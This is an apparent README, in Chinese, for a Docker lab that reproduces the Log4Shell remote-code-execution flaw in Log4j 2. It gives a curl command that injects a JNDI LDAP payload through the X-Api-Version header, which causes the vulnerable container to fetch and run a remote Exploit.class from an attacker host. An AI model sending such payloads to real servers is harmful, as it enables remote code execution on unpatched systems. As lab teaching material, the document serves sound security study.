该项目模拟通过 Apache Log4j 2 库中的 Log4Shell 漏洞进行 RCE 攻击的场景。
Exploit.class 的 HTTP 服务器。需要已安装 Docker 和 Docker Compose。
docker compose up --build
等待直到两个容器都就绪。vulnerable-app 将在 8080 端口上运行。
打开一个新终端并通过 X-Api-Version 标头发送包含 JNDI payload 的请求:
curl -H 'X-Api-Version: ${jndi:ldap://attacker:1389/Exploit}' http://localhost:8080/
vulnerable-app 容器的日志。您将看到 payload 已被记录的提示。attacker 容器的日志。您将看到 LDAP 连接被重定向到 HTTP 服务器。vulnerable-app 容器中是否已创建 /tmp/pwned 文件:docker exec -it vulnerable-app ls -la /tmp/pwned
如果文件存在,则证明恶意 Exploit.class 已成功执行!
本项目仅用于教育和安全研究目的。严禁用于非法用途。